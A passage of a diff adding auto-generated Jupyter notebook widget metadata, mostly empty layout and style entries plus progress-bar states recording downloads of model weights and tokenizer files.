null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "90d2a57096964b7a9e2aef14ec54e2a7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "911cafa406d2409f8ac69d9c9ae0dd94": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "922d64656ae0415795f9e50e79d5d5f8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "93d2d9e917d84072ae401952c12904bf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "93df8bff634740a29f3820042d69347f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "940a28141ae14329831b67e91ff1091a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "941873b1d19b4c2da615ed461fc6cbc7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "942ace43ed1d48aeafc6c5e17f14e034": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "944390d866cf430fbd562fca7781a9d9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ef977ff25ba842c9a0475befc7b47b89", + "placeholder": "​", + "style": "IPY_MODEL_c8da6be1960c4f89a18d49205cbaa0df", + "value": " 20/20 [00:27<00:00, 1.24s/it]" + } + }, + "948f2f29870b4ee7974ddad6ba18397d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "94cc8073f13f45b085e1f23d3d4bbbc9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "94fba57a53d04861ab5a889193d27f83": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "955af4f359254125801ec776793397e7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8c0d69533b674629b69a64345fc4d67e", + "placeholder": "​", + "style": "IPY_MODEL_f2241131e8d54c1f9e8976b94b46bc67", + "value": "100%" + } + }, + "962917ac2b044e5989e88100ceb45296": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "965fb38eae6a45678d87fc3e24eb5241": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "97348ede0e464090845a56a64a53e493": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "97570891602f4963bdfaacd309438ca7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_93d2d9e917d84072ae401952c12904bf", + "placeholder": "​", + "style": "IPY_MODEL_636973b7927b44bbaac28737227e7599", + "value": " 154M/154M [00:01<00:00, 97.5MB/s]" + } + }, + "978a0bae9c5f4ab7ac45f1f4f870fef0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "978ecf658d464bc999bc8a5c540e3ad0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f0a064bb91524f01972e941a3bd7354d", + "max": 327701893, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7efd39ed94f94ecd9292069da0697a5f", + "value": 327701893 + } + }, + "97dcb5d933594743aea62d09aa27d30d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "97dfae674a3b415d9015760abea61968": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a0f1a81a8d8f4e05a26d7a0a61565c53", + "max": 13, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7f36f3521fa14a37b0fad0702bf9a4e3", + "value": 13 + } + }, + "97ffad3c1b6e4c9c9621966c028c12aa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_eb72384f0e50444d9db03c12aca4b899", + "placeholder": "​", + "style": "IPY_MODEL_e7ddc52526db41e4907a2ede8dcef7c7", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "993b867eff394cfe843eb18ee194b8d6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "99836b0d3c5241f99260cd642081c31f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9998dc803aec438ab2bbdcb1edb8ab4e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_713f6c4e65a5418481d59fb756bd043c", + "placeholder": "​", + "style": "IPY_MODEL_365b7759e93949dd891bacc424e797f3", + "value": " 920/920 [00:00<00:00, 31.2kB/s]" + } + }, + "99b1e953ca924df2b6bfb0f9780d2e21": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8477b0d8ae344f78ba17f537e0e2448f", + "placeholder": "​", + "style": "IPY_MODEL_911cafa406d2409f8ac69d9c9ae0dd94", + "value": "Downloading (…)okenizer_config.json: 100%" + } + }, + "99c6d5162b2d41b6b3d260f4b2c99b9b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9a3d9f15c9b8495498d8910dc60d9fc0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_aec13914c37649feb868b8f531a07a83", + "IPY_MODEL_4b4b8aee32724ff5b0a40f9af956fe72", + "IPY_MODEL_b3967f91f621495cb1715427fcc57011" + ], + "layout": "IPY_MODEL_d5b65c5e85704b02be5a0fa2ab7569fa" + } + }, + "9a46a59ffb8d44c89b067519101f7a74": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9a540d6ed00a424da320fd7a12c31ac5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d44b6d406224497d9db5c903c6972323", + "placeholder": "​", + "style": "IPY_MODEL_d3010a25994f4f12b95922f2863f4f3b", + "value": " 1.45G/1.45G [01:27<00:00, 14.8MB/s]" + } + }, + "9a56fa1ecaee4be3954540e95a7c8990": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_07ad70da82f04e6c8fc64ba90f114d04", + "IPY_MODEL_b09e0313ea6d461e99ee9e2778639310", + "IPY_MODEL_df65632706474b4d903b8f6f72438166" + ], + "layout": "IPY_MODEL_7035d48a0c874fe7b7bd20c6b03bdf85" + } + }, + "9b27785afb0243f5b2298cb272c510e2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9b78deeeaec149339134750de6ba1fcf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_a207168326fd45159d8eec29ea91ccac", + "IPY_MODEL_425d719b752b4a1480f8c3f8b9388e50", + "IPY_MODEL_8baeb11dd15840e691eadde3f79bf4f2" + ], + "layout": "IPY_MODEL_6b872da2a0944f5da6eb68792937311b" + } + }, + "9ba3483798e8439aab7d5560c1a5bac1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_60ebb0e8c1174c839a26182b38d4ae9b", + "placeholder": "​", + "style": "IPY_MODEL_f3be39d3186448afb9d851b9732df52b", + "value": " 8.76k/8.76k [00:00<00:00, 576kB/s]" + } + }, + "9cc4d939cc454a0da5eb7bdd234f69b5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9d1f8ee81b994f94882d776f6e401f02": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9d2061e3643940f496528dc7ad6e6e2e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9dc6d26cdb7945ffb31b2c381412a383": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9dcbc2386e3c4d6e820fd6baed91f0df": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a1ed5abc44e94c1ea19fa959fc95b91a", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7669fb4960904becb83cbdc4169a121b", + "value": 20 + } + }, + "9e9bd7cc85b04308b20943578ad51fa7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_743a58e2430947808aac30953973ec71", + "IPY_MODEL_600acc1527c4482fb7307f2d423a0a01", + "IPY_MODEL_84f1832335f44d73b6a1a588f0e79a11" + ], + "layout": "IPY_MODEL_03264d2988b849369f26e62a0a010d51" + } + }, + "9eda2eb5008b4f2d8269523ee5ce2ffe": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": 